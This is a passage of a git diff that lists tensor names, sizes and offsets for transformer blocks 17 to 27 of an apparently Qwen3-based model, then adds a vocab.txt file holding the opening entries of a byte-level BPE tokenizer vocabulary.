blk.17.attn_q.weight, size = 8388608, offset = 2326955520 +tensor[195]: name = blk.17.attn_q_norm.weight, size = 512, offset = 2335344128 +tensor[196]: name = blk.17.attn_v.weight, size = 4194304, offset = 2335344640 +tensor[197]: name = blk.17.ffn_down.weight, size = 12582912, offset = 2339538944 +tensor[198]: name = blk.17.ffn_gate.weight, size = 12582912, offset = 2352121856 +tensor[199]: name = blk.17.ffn_norm.weight, size = 4096, offset = 2364704768 +tensor[200]: name = blk.17.ffn_up.weight, size = 12582912, offset = 2364708864 +tensor[201]: name = blk.18.attn_k.weight, size = 4194304, offset = 2377291776 +tensor[202]: name = blk.18.attn_k_norm.weight, size = 512, offset = 2381486080 +tensor[203]: name = blk.18.attn_norm.weight, size = 4096, offset = 2381486592 +tensor[204]: name = blk.18.attn_output.weight, size = 8388608, offset = 2381490688 +tensor[205]: name = blk.18.attn_q.weight, size = 8388608, offset = 2389879296 +tensor[206]: name = blk.18.attn_q_norm.weight, size = 512, offset = 2398267904 +tensor[207]: name = blk.18.attn_v.weight, size = 4194304, offset = 2398268416 +tensor[208]: name = blk.18.ffn_down.weight, size = 12582912, offset = 2402462720 +tensor[209]: name = blk.18.ffn_gate.weight, size = 12582912, offset = 2415045632 +tensor[210]: name = blk.18.ffn_norm.weight, size = 4096, offset = 2427628544 +tensor[211]: name = blk.18.ffn_up.weight, size = 12582912, offset = 2427632640 +tensor[212]: name = blk.19.attn_k.weight, size = 4194304, offset = 2440215552 +tensor[213]: name = blk.19.attn_k_norm.weight, size = 512, offset = 2444409856 +tensor[214]: name = blk.19.attn_norm.weight, size = 4096, offset = 2444410368 +tensor[215]: name = blk.19.attn_output.weight, size = 8388608, offset = 2444414464 +tensor[216]: name = blk.19.attn_q.weight, size = 8388608, offset = 2452803072 +tensor[217]: name = blk.19.attn_q_norm.weight, size = 512, offset = 2461191680 +tensor[218]: name = blk.19.attn_v.weight, size = 4194304, offset = 2461192192 +tensor[219]: name = blk.19.ffn_down.weight, size = 12582912, offset = 2465386496 +tensor[220]: name = blk.19.ffn_gate.weight, size = 12582912, offset = 2477969408 +tensor[221]: name = blk.19.ffn_norm.weight, size = 4096, offset = 2490552320 +tensor[222]: name = blk.19.ffn_up.weight, size = 12582912, offset = 2490556416 +tensor[223]: name = blk.20.attn_k.weight, size = 4194304, offset = 2503139328 +tensor[224]: name = blk.20.attn_k_norm.weight, size = 512, offset = 2507333632 +tensor[225]: name = blk.20.attn_norm.weight, size = 4096, offset = 2507334144 +tensor[226]: name = blk.20.attn_output.weight, size = 8388608, offset = 2507338240 +tensor[227]: name = blk.20.attn_q.weight, size = 8388608, offset = 2515726848 +tensor[228]: name = blk.20.attn_q_norm.weight, size = 512, offset = 2524115456 +tensor[229]: name = blk.20.attn_v.weight, size = 4194304, offset = 2524115968 +tensor[230]: name = blk.20.ffn_down.weight, size = 12582912, offset = 2528310272 +tensor[231]: name = blk.20.ffn_gate.weight, size = 12582912, offset = 2540893184 +tensor[232]: name = blk.20.ffn_norm.weight, size = 4096, offset = 2553476096 +tensor[233]: name = blk.20.ffn_up.weight, size = 12582912, offset = 2553480192 +tensor[234]: name = blk.21.attn_k.weight, size = 4194304, offset = 2566063104 +tensor[235]: name = blk.21.attn_k_norm.weight, size = 512, offset = 2570257408 +tensor[236]: name = blk.21.attn_norm.weight, size = 4096, offset = 2570257920 +tensor[237]: name = blk.21.attn_output.weight, size = 8388608, offset = 2570262016 +tensor[238]: name = blk.21.attn_q.weight, size = 8388608, offset = 2578650624 +tensor[239]: name = blk.21.attn_q_norm.weight, size = 512, offset = 2587039232 +tensor[240]: name = blk.21.attn_v.weight, size = 4194304, offset = 2587039744 +tensor[241]: name = blk.21.ffn_down.weight, size = 12582912, offset = 2591234048 +tensor[242]: name = blk.21.ffn_gate.weight, size = 12582912, offset = 2603816960 +tensor[243]: name = blk.21.ffn_norm.weight, size = 4096, offset = 2616399872 +tensor[244]: name = blk.21.ffn_up.weight, size = 12582912, offset = 2616403968 +tensor[245]: name = blk.22.attn_k.weight, size = 4194304, offset = 2628986880 +tensor[246]: name = blk.22.attn_k_norm.weight, size = 512, offset = 2633181184 +tensor[247]: name = blk.22.attn_norm.weight, size = 4096, offset = 2633181696 +tensor[248]: name = blk.22.attn_output.weight, size = 8388608, offset = 2633185792 +tensor[249]: name = blk.22.attn_q.weight, size = 8388608, offset = 2641574400 +tensor[250]: name = blk.22.attn_q_norm.weight, size = 512, offset = 2649963008 +tensor[251]: name = blk.22.attn_v.weight, size = 4194304, offset = 2649963520 +tensor[252]: name = blk.22.ffn_down.weight, size = 12582912, offset = 2654157824 +tensor[253]: name = blk.22.ffn_gate.weight, size = 12582912, offset = 2666740736 +tensor[254]: name = blk.22.ffn_norm.weight, size = 4096, offset = 2679323648 +tensor[255]: name = blk.22.ffn_up.weight, size = 12582912, offset = 2679327744 +tensor[256]: name = blk.23.attn_k.weight, size = 4194304, offset = 2691910656 +tensor[257]: name = blk.23.attn_k_norm.weight, size = 512, offset = 2696104960 +tensor[258]: name = blk.23.attn_norm.weight, size = 4096, offset = 2696105472 +tensor[259]: name = blk.23.attn_output.weight, size = 8388608, offset = 2696109568 +tensor[260]: name = blk.23.attn_q.weight, size = 8388608, offset = 2704498176 +tensor[261]: name = blk.23.attn_q_norm.weight, size = 512, offset = 2712886784 +tensor[262]: name = blk.23.attn_v.weight, size = 4194304, offset = 2712887296 +tensor[263]: name = blk.23.ffn_down.weight, size = 12582912, offset = 2717081600 +tensor[264]: name = blk.23.ffn_gate.weight, size = 12582912, offset = 2729664512 +tensor[265]: name = blk.23.ffn_norm.weight, size = 4096, offset = 2742247424 +tensor[266]: name = blk.23.ffn_up.weight, size = 12582912, offset = 2742251520 +tensor[267]: name = blk.24.attn_k.weight, size = 4194304, offset = 2754834432 +tensor[268]: name = blk.24.attn_k_norm.weight, size = 512, offset = 2759028736 +tensor[269]: name = blk.24.attn_norm.weight, size = 4096, offset = 2759029248 +tensor[270]: name = blk.24.attn_output.weight, size = 8388608, offset = 2759033344 +tensor[271]: name = blk.24.attn_q.weight, size = 8388608, offset = 2767421952 +tensor[272]: name = blk.24.attn_q_norm.weight, size = 512, offset = 2775810560 +tensor[273]: name = blk.24.attn_v.weight, size = 4194304, offset = 2775811072 +tensor[274]: name = blk.24.ffn_down.weight, size = 12582912, offset = 2780005376 +tensor[275]: name = blk.24.ffn_gate.weight, size = 12582912, offset = 2792588288 +tensor[276]: name = blk.24.ffn_norm.weight, size = 4096, offset = 2805171200 +tensor[277]: name = blk.24.ffn_up.weight, size = 12582912, offset = 2805175296 +tensor[278]: name = blk.25.attn_k.weight, size = 4194304, offset = 2817758208 +tensor[279]: name = blk.25.attn_k_norm.weight, size = 512, offset = 2821952512 +tensor[280]: name = blk.25.attn_norm.weight, size = 4096, offset = 2821953024 +tensor[281]: name = blk.25.attn_output.weight, size = 8388608, offset = 2821957120 +tensor[282]: name = blk.25.attn_q.weight, size = 8388608, offset = 2830345728 +tensor[283]: name = blk.25.attn_q_norm.weight, size = 512, offset = 2838734336 +tensor[284]: name = blk.25.attn_v.weight, size = 4194304, offset = 2838734848 +tensor[285]: name = blk.25.ffn_down.weight, size = 12582912, offset = 2842929152 +tensor[286]: name = blk.25.ffn_gate.weight, size = 12582912, offset = 2855512064 +tensor[287]: name = blk.25.ffn_norm.weight, size = 4096, offset = 2868094976 +tensor[288]: name = blk.25.ffn_up.weight, size = 12582912, offset = 2868099072 +tensor[289]: name = blk.26.attn_k.weight, size = 4194304, offset = 2880681984 +tensor[290]: name = blk.26.attn_k_norm.weight, size = 512, offset = 2884876288 +tensor[291]: name = blk.26.attn_norm.weight, size = 4096, offset = 2884876800 +tensor[292]: name = blk.26.attn_output.weight, size = 8388608, offset = 2884880896 +tensor[293]: name = blk.26.attn_q.weight, size = 8388608, offset = 2893269504 +tensor[294]: name = blk.26.attn_q_norm.weight, size = 512, offset = 2901658112 +tensor[295]: name = blk.26.attn_v.weight, size = 4194304, offset = 2901658624 +tensor[296]: name = blk.26.ffn_down.weight, size = 12582912, offset = 2905852928 +tensor[297]: name = blk.26.ffn_gate.weight, size = 12582912, offset = 2918435840 +tensor[298]: name = blk.26.ffn_norm.weight, size = 4096, offset = 2931018752 +tensor[299]: name = blk.26.ffn_up.weight, size = 12582912, offset = 2931022848 +tensor[300]: name = blk.27.attn_k.weight, size = 4194304, offset = 2943605760 +tensor[301]: name = blk.27.attn_k_norm.weight, size = 512, offset = 2947800064 +tensor[302]: name = blk.27.attn_norm.weight, size = 4096, offset = 2947800576 +tensor[303]: name = blk.27.attn_output.weight, size = 8388608, offset = 2947804672 +tensor[304]: name = blk.27.attn_q.weight, size = 8388608, offset = 2956193280 +tensor[305]: name = blk.27.attn_q_norm.weight, size = 512, offset = 2964581888 +tensor[306]: name = blk.27.attn_v.weight, size = 4194304, offset = 2964582400 +tensor[307]: name = blk.27.ffn_down.weight, size = 12582912, offset = 2968776704 +tensor[308]: name = blk.27.ffn_gate.weight, size = 12582912, offset = 2981359616 +tensor[309]: name = blk.27.ffn_norm.weight, size = 4096, offset = 2993942528 +tensor[310]: name = blk.27.ffn_up.weight, size = 12582912, offset = 2993946624 \ No newline at end of file diff --git a/src/xpu/flamegraph/qwen3.cu/vocab.txt b/src/xpu/flamegraph/qwen3.cu/vocab.txt new file mode 100644 index 00000000..c62a2d0e --- /dev/null +++ b/src/xpu/flamegraph/qwen3.cu/vocab.txt @@ -0,0 +1,151936 @@ +! +" +# +$ +% +& +' +( +) +* ++ +, +- +. +/ +0 +1 +2 +3 +4 +5 +6 +7 +8 +9 +: +; +< += +> +? +@ +A +B +C +D +E +F +G +H +I +J +K +L +M +N +O +P +Q +R +S +T +U +V +W +X +Y +Z +[ +\ +] +^ +_ +` +a +b +c +d +e +f +g +h +i +j +k +l +m +n +o +p +q +r +s +t +u +v +w +x +y +z +{ +| +} +~ +¡ +¢ +£ +¤ +¥ +¦ +§ +¨ +© +ª +« +¬ +® +¯ +° +± +² +³ +´ +µ +¶ +· +¸ +¹ +º +» +¼ +½ +¾ +¿ +À +Á + +à +Ä +Å +Æ +Ç +È +É +Ê +Ë +Ì +Í +Î +Ï +Ð +Ñ +Ò +Ó +Ô +Õ +Ö +× +Ø +Ù +Ú +Û +Ü +Ý +Þ +ß +à +á +â +ã +ä +å +æ +ç +è +é +ê +ë +ì +í +î +ï +ð +ñ +ò +ó +ô +õ +ö +÷ +ø +ù +ú +û +ü +ý +þ +ÿ +Ā +ā +Ă +ă +Ą +ą +Ć +ć +Ĉ +ĉ +Ċ +ċ +Č +č +Ď +ď +Đ +đ +Ē +ē +Ĕ +ĕ +Ė +ė +Ę +ę +Ě +ě +Ĝ +ĝ +Ğ +ğ +Ġ +ġ +Ģ +ģ +Ĥ +ĥ +Ħ +ħ +Ĩ +ĩ +Ī +ī +Ĭ +ĭ +Į +į +İ +ı +IJ +ij +Ĵ +ĵ +Ķ +ķ +ĸ +Ĺ +ĺ +Ļ +ļ +Ľ +ľ +Ŀ +ŀ +Ł +ł +Ń +ĠĠ +ĠĠĠĠ +in +Ġt +ĠĠĠĠĠĠĠĠ +er +ĠĠĠ +on +Ġa +re +at +st +en +or +Ġth +ĊĊ +Ġc +le +Ġs +it +an +ar +al +Ġthe +;Ċ +Ġp +Ġf +ou +Ġ= +is +ĠĠĠĠĠĠĠ +ing +es +Ġw +ion +ed +ic +Ġb +Ġd +et +Ġm +Ġo +ĉĉ +ro +as +el +ct +nd +Ġin +Ġh +ent +id +Ġn +am +ĠĠĠĠĠĠĠĠĠĠĠ +Ġto +Ġre +-- +Ġ{ +Ġof +om +);Ċ +im +čĊ +Ġ( +il +// +Ġand +ur +se +Ġl +ex +ĠS +ad +Ġ" +ch +ut +if +** +Ġ} +em +ol +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +th +)Ċ +Ġ{Ċ +Ġg +ig +iv +,Ċ +ce +od +Ġv +ate +ĠT +ag +ay +Ġ* +ot +us +ĠC +Ġst +ĠI +un +ul +ue +ĠA +ow +Ġ' +ew +Ġ< +ation +() +Ġfor +ab +ort +um +ame +Ġis +pe +tr +ck +âĢ +Ġy +ist +---- +.ĊĊ +he +Ġe +lo +ĠM +Ġbe +ers +Ġon +Ġcon +ap +ub +ĠP +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +ass +int +>Ċ +ly +urn +Ġ$ +;ĊĊ +av +port +ir +-> +nt +ction +end +Ġde +ith +out +turn +our +ĠĠĠĠĠ +lic +res +pt +== +Ġthis +Ġwh +Ġif +ĠD +ver +age +ĠB +ht +ext +=" +Ġthat +**** +ĠR +Ġit +ess +ĠF +Ġr +os +and +Ġas +ect +ke +rom +Ġ// +con +ĠL +(" +qu +lass +Ġwith +iz +de +ĠN +Ġal +op +up +get +Ġ}Ċ +ile +Ġan +ata +ore +ri +Ġpro +;čĊ +ĉĉĉĉ +ter +ain +ĠW +ĠE +Ġcom +Ġreturn +art +ĠH +ack +import +ublic +Ġor +est +ment +ĠG +able +Ġ- +ine +ill +ind +ere +:: +ity +Ġ+ +Ġtr +elf +ight +(' +orm +ult +str +.. +", +Ġyou +ype +pl +Ġnew +Ġj +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +Ġfrom +Ġex +ĠO +ld +Ġ[ +oc +:Ċ +Ġse +Ġle +-------- +.s +{Ċ +', +ant +Ġat +ase +.c +Ġch + +ust +que +Ġres +)) +'s +Ġk +ans +yst +unction +******** +Ġi +Ġus +pp +one +ail +==== +name +Ġstr +Ġ/ +Ġ& +ach +div +ystem +ell +Ġhave +err +ould +ull +pon +ĠJ +_p +Ġ== +ign +St +.Ċ +Ġpl +);ĊĊ +form +put +ount +}ĊĊ +dd +ite +Ġget +rr +ome +ĠâĢ +aram +cc +Ġ*/ +ER +In +les +_s +ong +ie +Ġcan +ĠV +erv +pr +Ġun +row +ber +Ġdo +ll +Ġel +Ġself +ated +ary +Ġ. +'] +ud +Ġen +ĠTh +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +te +_c +uct +Ġab +ork +.get +Ġ# +aw +ress +ob +Name +app +[' +Ġall +ory +ition +ance +ear +Ġcont +vent +ia +Ġwill +IN +ĠĠĠĠĠĠĠĠĠ +return +Ġ +",Ċ +ec +ĠIn +ph +Ġ| +_f +Ġvar +ence +Id +ree +ink +lect +ug +eth +Ġelse +---------------- +cont +Ġso +atic +Ġlo +pro +ton +ss +own +abel +oint +ous +eld +ST +The +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +RE +": +olor +tp +eg +key +ude +ĠSt +ound +Ġar +");Ċ +ener +ser +bject +essage +fer +Ġmore +ations +ents +Ġhis +Ġthey +.S +ĠY +use +ne +ish +old +_d +io +ield +Ġper +Cont +ings +#### +Ġdata +Ġsa +ef +fo +Ġone +eng +Ġdis +AT +Ġname +Ġtrue +val +led +.f +Ġne +Ġend +.T +cre +ark +log +Ex +error +_id +urre +ange +Ġnull +rray +Ġmy +pan +ict +ator +View +List +ĉreturn +âĢĿ +Ġpre +Ġx +clude +arg +ov +.h +Ġ> +Ġtheir +') +irst +ick +gh +LE +OR +Ġprivate +tem +čĊčĊ +user +Ġ) +com +.A +";Ċ +Ġid +read +Ġwho +_b +">Ċ +Ġtime +Ġman +ry +======== +roup +rop +public +vel +umber +ble +Ġwhich +**************** +Ġany +Ġfalse +we +Ġvalue +Ġli +") +nder +gr +Ġno +param +fig +.com +Ġapp +_l +ions +.D +ĠCh +Ġabout +Ġadd +Ġsu +Ġstring +ID +Ġover +string +.l +ource +_C +]Ċ +Ġqu +ĠString +ca +SE +Ġro +sh +ual +Type +son +new +ern +Ġag +AR +];Ċ +]. +Ġ? +ical +Ġdes +uth +ix +ays +Ġtype +'t +ault +Ġinter +var +.b +Ġpart +.d +urrent +IT +EN +enc +(f +ra +value +cho +utton +ose +Ġ!= +ater +é +reate +oll +pos +yle +ng +AL +using +ames +Ġ{čĊ +ates +ely +Ġwork +Ġem +inal +Ġsp +Ġwhen +.set +ĠĠĠĠĠĠ +):Ċ +to +quire +indow +lement +pect +ash +[i +Ġuse +.F +pec +Ġad +ove +ception +ength +include +ader +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +atus +Th +itle +rit +void +(). +(Ċ +Ġoff +Ġother +Ġ&& +';Ċ +ms +Ġbeen +Ġte +ml +co +nc +ervice +Ġ% +**Ċ +ann +ade +ĊĊĊĊ +lock +const +ponse +Ġsup +++ +date +Ġacc +Ġhad +Ġbu +ĠRe +Ġwere +Ġfile +Ġwould +ĠâĢľ +ven +iss +Ġour +class +raw +Ġyear +Data +Ġval +Ġsome +fter +ys +Ġ/// +round +view +Ġpe +Ġthere +Ġsaid +du +of +line +/* +duct +Ġher +ĠĠĠĠĠĠĠĠĠĠĠĠĠ +Res +Ġco +Ġcomm +ise +min +ĠĠĠĠĊ +#include +ethod +.P +ute +Ġass +Int +ask +loc +Ġlike +ody +Ġlet +load +Ġam +rol +Ġgr +yp +Ġalso +ĠIt +url +ific +ors +_P +_n +igh +Ġthan +Com +AN +UL +ating +ĠThis +ref +_S +Ġstatic +roll +Ġjust +Ġresult +ian +idth +Ġthem +));Ċ +der +reak +Con +:// +ule +... +arch +ement +Ġ<< +ush +ense +arr +Ġinto +cess +amp +ied +ument +Ġ\ +], +wo +als +Ġwhat +anc +Value +=' +olum +Ġpos +ages +ayer +Ġsc +ues +")Ċ +_T +Ġlist +(s +Ġcase +Ch +ĉĉĉĉĉ +//////// +ponent +Ġz +Ġkn +let +DE +red +Ġfe +Ġ},Ċ +Ġ, +(t +Ġfirst +');Ċ +word +Ġimport +Ġact +Ġchar +CT +ĠTr +ople +={ +ĉf +ient +cent +.j +lection +))Ċ +Ġonly +Ġprint +mer +.W +ock +Ġ-- +Text +Ġop +ank +Ġits +Ġback +[" +Ġneed +Ġcl +Ġsub +Ġla +(( +." +Object +Ġstart +file +(self +ner +ey +Ġuser +Ġent +ĠCom +its +ĠCon +ouble +ower +item +very +ĠWe +lick +ĠQ +php +ttp +': +ics +Ġunder +Ġ*Ċ +.L +); +ices +Ġreg +)čĊ +ĉpublic +SS +Ġthen +reat +ious +.G +ek +irect +heck +cript +ning +ĠUn +Ġmay +ĠWh +Bo +Item +struct +.st +ream +ible +loat +Ġorg +und +sum +_in +../ +_M +Ġhow +rite +'Ċ +To +ww +Ġpeople +index +.n +http +(m +ector +Ġind +Ġjav +],Ċ +ĠHe +_st +ful +ole +){Ċ +Ġshould +opy +elp +ier +_name +erson +ION +ote +Ġtest +Ġbet +rror +ular +ãĢ +ĠÐ +bs +ting +Ġmake +Tr +Ġafter +arget +RO +olumn +rc +_re +define +Ġright +right +day +Ġlong +[] +(p +td +cond +ĠPro +Ġrem +ptions +vid +.g +Ġext +Ġ__ +')Ċ +pace +mp +Ġmin +stance +air +action +wh +type +util +ait +ĊĊ +Ġshe +"] +aph +Ġexp +erty +ĠSe +Ġpar +unc +ET +Ġread +print +Ġrel +Ġform +Ġdr +Exception +input +Ġtrans +######## +order +By +Ġaw +ities +uff +play +.add +ĠâĢĵ +Ġwant +Ġcomp +ments +Ġ|| +az +be +Ġnumber +Ġrequire +ĠEx +Ġcol +Ġkey +ember +Ġtwo +Ġsize +Ġwhere +UT +result +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +ough +orld +ood +uch +ative +ger +arent +Ġ/* +Ġarg +Ġwhile +(this +Ġrec +Ġdif +State +Ġspec +ride +_F +Ġlook +AM +ility +eter +âĢĻt +ĊĊĊ +ayout +-------------------------------- +ager +Ġcould +Ġbr +ends +ures +Ġknow +ets +ĠIf +ĠSh +.w +back +Ġser +Ġ+= +Ġfr +());Ċ +Ġhand +Ind +ULL +Im +();ĊĊ +Ġmost +Ġtry +Ġnow +rough +>čĊ +ackage +Ġhim +._ +ify +Ġbreak +Ġ);Ċ +ren +#define +itt +Ġap +ĉc +(n +ĠYou +:ĊĊ +-m +Ġevery +ustom +lient +ocument +cription +Error +-b +о +][ +trans +Ġpoint +Ġstd +Ġfil +Time +Ġmod +Ġ-> +Ġerror +ah +Ġtext +roller +lose +ql +Ġpol +>< +.B +-c +Ġopen +Ġest +ĠĠĠĠĠĠĠĠĊ +Ġnext +IM +ÑĤ +OT +ó +Ġfollow +content +ĠĠĠĠĠĠĠĠĠĠĠĠ +Ġinclud +HE +ĠRes +Ġhref +и +Ġcar +ypes +image +Un +Ġbool +AD +Ġgame +.Form +rows +*/ +velop +.Drawing +Ġpath +ision +Ġeach +ĠPl +_type +Path +nection +Ġav +'). +Ġsupport +ENT +rem +"). +Ġown +Ġcor +count +miss +ually +Ġmem +std +ience +search +"ĊĊ +Form +Ġsex +ename +Ġsign +Ġet +ĠĠĠĠĠĠĠĠĠĠ +',' +ĠApp +Ġthose +off +Ġerr +Ġsystem +Ġbest +code +Ġsame +Ġdi +uss +Ġcreate +ather +Array +.in +fe +Service +UN +ats +ĠZ +alth +Ġmade +true +AB +Ġmark +rid +ified +,čĊ +yn +press +Ġgroup +Ġfin +ĠLicense +Field +eger +Ġworld +iness +ty +Ġprocess +(b +Ġcre +arn +ives +Ġmain +ideo +_g +AG +valid +img +PI +Ġcolor +Ġreport +Ġtake +rib +OM +Ġday +Request +Ġsk +bers +ĉs +.Add +oot +Image +Ġcomple +ollection +Ġtop +Ġfree +AS +De +ĠOn +IG +eta +Date +Ġaction +Over +itor +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +not +Ġindex +her +icon +On +;čĊčĊ +ivity +mand +.Windows +OL +Ġreal +Ġmax +land +.... +raph +Ġbuild +leg +assword +?ĊĊ +â̦ +ook +uck +Ġmessage +test +ivers +Ġinput +Ġart +Ġbetween +Get +enter +ground +ene +á +.length +Node +(i +Class +for +ĠâĢĶ +ten +oin +Ġke +ui +ĠIN +Ġtable +sub +ĠLe +Ġhead +Ġmust +//////////////// +.util +Context +Ġorder +Ġmov +over +Ġcontin +Ġsay +static +.Text +ĠclassName +pany +Ġter +head +rg +Ġproduct +This +.âĢĿ +ĠBut +loy +Ġdouble +sg +Ġplace +.x +message +Ġinformation +private +Ġoper +ced +db +"> +aterial +iled +Ġput +Qu +ÑĢ +ung +map +ĉĉĉĉĉĉĉĉ +Ġlevel +Component +book +creen +_RE +Ġconfig +ãģ +Or +.data +Ġdocument +"," +tribute +ux +Log +ference +post +_e +Ġlocal +andom +assert +Val +lected +ina +atabase +Add +Ġcontent +.print +signed +ric +."ĊĊ +Ġfa +!ĊĊ +-f +ived +Ġquest +.ex +Ġfloat +Ġdevelop +оР+Map +ading +Ġposs +UE +namespace +_O +ĉb +.Get +>( +json +etails +Ġtoo +Ġextends +ĠNone +Ġfore +(String +format +Ġgreat +inter +cale +Ñģ +ron +iving +Ent +ency +xt +oy +Ġmonth +Ġhapp +Ġsuper +bar +default +_de +ords +ln +({Ċ +ĠInd +ases +Ġtitle +Ġcontext +oh +-p +Em +Ġmet +Test +Ġlife +_v +ĠUS +UI +ocation +md +Ġ[Ċ +Ġ] +sw +Ġincre +script +ential +ways +.de +Ġsrc +Ġcatch +ĠAmeric +//Ċ +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +Ġpay +plit +âĢĶ +Ġcoun +obj +.php +Ġchange +ething +'re +aster +los +lation +ĠĠĊ +Le +ä +({ +ready +ĠNo +Ġposition +Ġold +Ġbook +abled +bug +Hand +};ĊĊ +isplay +aving +Ġgover +Ġversion +System +nect +response +Style +Up +angu +Ġthree +init +ero +Ġlaw +endif +Ġbase +email +(l +_V +Ġconf +ATE +Ġduring +tes +Ġconsole +ĠPr +Ġspe +ves +path +ialog +dition +_to +ards +Ġagainst +etwork +ĠPh +_L +cur +imit +With +Ġpower +ium +';ĊĊ +Ġwom +left +ources +atri +ĠIm +ĠMan +orth +${ +quals +ese +_size +Ġiss +otal +-g +ique +rame +Ġwidth +erg +)( +ittle +TR +ĠThey +ences +rl +ons +Ġlabel +.y +-t +update +anel +sc +.to +Ġproject +ü +Ġelement +Ġsuccess +ĉĉĊ +.sh +ram +ched +())Ċ +Ġ(Ċ +Ġdate +Ġtot +_ST +All +ification +ĉvar +Ġtri +chem +my +Ġbig +ĠAd +ĠAt +ots +num +Act +Ġmap +era +cope +.$ +,âĢĿ +Ġpop +Ġfew +Ġlen +uid +eters +ules +ÃŃ +source +https +Ġdem +Ġear +################ +Ġmatch +ories +aces +ĠCl +Ġnode +irc +local +unity +};Ċ +Ġanother +<< +ogle +Ġsit +ework +TE +.I +NS +ology +ought +.Cont +>> +Ġcare +state +ĉprivate +Ġeffect +++) +_file +ending +Line +For +ior +ĠSc +Ġfun +.Size +ĉelse +]) +start +vious +Ġ}, +ours +Ġleg +Ġservice +Ġsince +iron +Label +Ġnon +Ġlos +iction +Ġfull +acter +board +gress +Ġturn +ither +.size +Ġbody +resh +eturn +(_ +yles +ormal +pi +Ġsomething +!-- +uint +Ġprodu +Ġstand +Ġproble +Ġavailable +mt +ĠBl +Ġ... +Ġblock +Input +Ġkeep +Count +open +Ġ[' +Ġthrow +uilder +Action +Ġthings +True +Ġurl +ĠBo +printf +Ġred +js +.create +ĠOr +Status +Instance +Ġcontrol +Ġcome +Ġcustom +location +model +ĠčĊ +Ġsource +Ġeas +.out +]ĊĊ +oney +Ġawait +Ġpartic +AP +ublish +odes +_pro +ply +riter +Ġprov +Ġmill +HT +])Ċ +Ġchang +Ġask +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +Ġoutput +Ġemail +.push +Ġ}čĊčĊ +ination +atrix +Table +uccess +]);Ċ +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +Ġdisc +([ +Ġbusiness +height +.html +ta +field +Ġrequired +_R +Ġgovern +}čĊčĊ +lex +., +ĠSet +urch +/// +ts +af +Ġmight +istory +Str +Ġnever +Response +arse +ada +ĠHow +Ġ*) +Ġ; +Ġhard +Ad +Ġintern +used +(data +mod +annel +Ġnp +ugg +Ġ/>Ċ +Ġcalled +body +Ġcho +(r +_set +ird +Ġ>= +Ġ};Ċ +Ġoptions +ĠGener +Ġheight +Point +You +ety +Click +Ġsmall +Ġide +Ġaccess +anguage +Ġprotected +Ġjob +ĠThere +Def +Ġaddress +Ġuint +Not +oo +aps +
+ĉĠĠĠ +")) +Content +_W +plement +Ġwon +Ġvideo +adi +point +%% +Ġgl +erved +viron +IF +uted +ãĥ +'m +Ġcert +Ġprof +Ġcell +ari +Ġplayer +ais +Ġcost +Ġhum +(R +Ġoffic +ks +.text +atures +Ġtotal +Ġ*/ĊĊ +ope +Ġstat +UM +Ġload +ights +Ġclear +uro +Ġtechn +upport +IR +Ġrow +Ġseem +Ġq +Ġshort +ĠNot +ipp +Group +section +max +irl +Ġoverride +Ġcompany +Ġdone +");čĊ +Ġgre +.Re +Ġbelie +rist +Ġhealth +ANT +()ĊĊ +ĠBe +.value +ĠGr +ottom +Ġargs +PT +status +func +uments +-h +Number +:čĊ +ĠLog +erver +Ġ),Ċ +ament +Ġobj +inc +Ġchildren +icy +IZ +ands +ably +Ġdistrib +Ġcur +erial +Ġdays +reated +rect +-l +irm +idden +omb +Ġinitial +.js +Ġâ +Query +Ġonline +imal +.con +au +Url +control +irection +Ġinstance +ORT +ĠFr +where +Ġjavax +Ġorgan +apter +Ġreason +options +ĠMar +(a +Ġwithin +.âĢĿĊĊ +ODE +_DE +admin +ended +Ġdesign +ĠData +une +ĠFile +root +Ġcent +Ġarr +_add +len +page +,' +_str +Ġbro +ability +outh +/c +pose +irtual +earch +_url +argin +Http +Ġschool +ava +Ġconsider +.label +ĠArray +web +opt +.println +ulation +Ġfunc +PL +Ġ"\ +ĠText +actory +(function +null +Ġeng +down +Ġinclude +ĠEn +ĠDr +Ġdb +!! +side +Ġinit +quired +ĠShe +Column +react +Ġann +Ġstop +Ġlater +ĠThat +ention +df +UG +ILE +Ġclient +raft +ffer +POST +elper +Ġlove +quote +oud +Ġjson +Ġable +Ġmen +AX +ĠCopyright +ö +avig +req +Client +});Ċ +.Com +erc +ilt +pecial +_com +room +.Name +Ġgive +amb +ike +Ġcondition +client +ators +:" +Ġcopy +uture +iversity +ernal +{{ +ĠCan +ounc +do +Ġocc +Ġappro +thers +ze +Ġeither +ĠFl +Ġimportant +Ġlead +attr +ART +Equal +Ġda +etch +entity +Ġfamily +adding +Ġoption +Ġexist +ica +ĠObject +'ve +vers +itional +output +ĠTrue +ĠOF +_time +Ġoffer +Ġ});ĊĊ +HER +egin +"" +Ġwater +Ġche +ĠMy +ored +Ġstep +ances +CK +AY +ภ+struction +(C +ouch +Stream +active +ama +Entity +product +(){Ċ +Ġgovernment +ĠID +ajor +And +Ġdisplay +л +Ġtimes +Ġfour +Ġfar +Ġpresent +ĠNS +Ġ\Ċ +uest +Ġbas +echo +child +ifier +Handler +Ġlib +Property +translation +Ġroom +Ġonce +Ġ[] +center +================================ +Ġresults +Ġcontinue +Ġtalk +_get +Ġgrow +.sw +eb +ĠPublic +OP +ecute +ols +Ġ** +");ĊĊ +Ġmass +ured +.class +omic +Ġmean +ips +Ġaut +);čĊčĊ +Ġuntil +Ġmarket +Ġarea +uit +Ġlength +ĠWith +structor +event +">< +ĠSp +IV +Ġmus +iff +Ġkind +author +ounds +mb +_key +width +pository +Ġlight +uk +Row +ohn +alf +vironment +apper +ollections +Ġside +_info 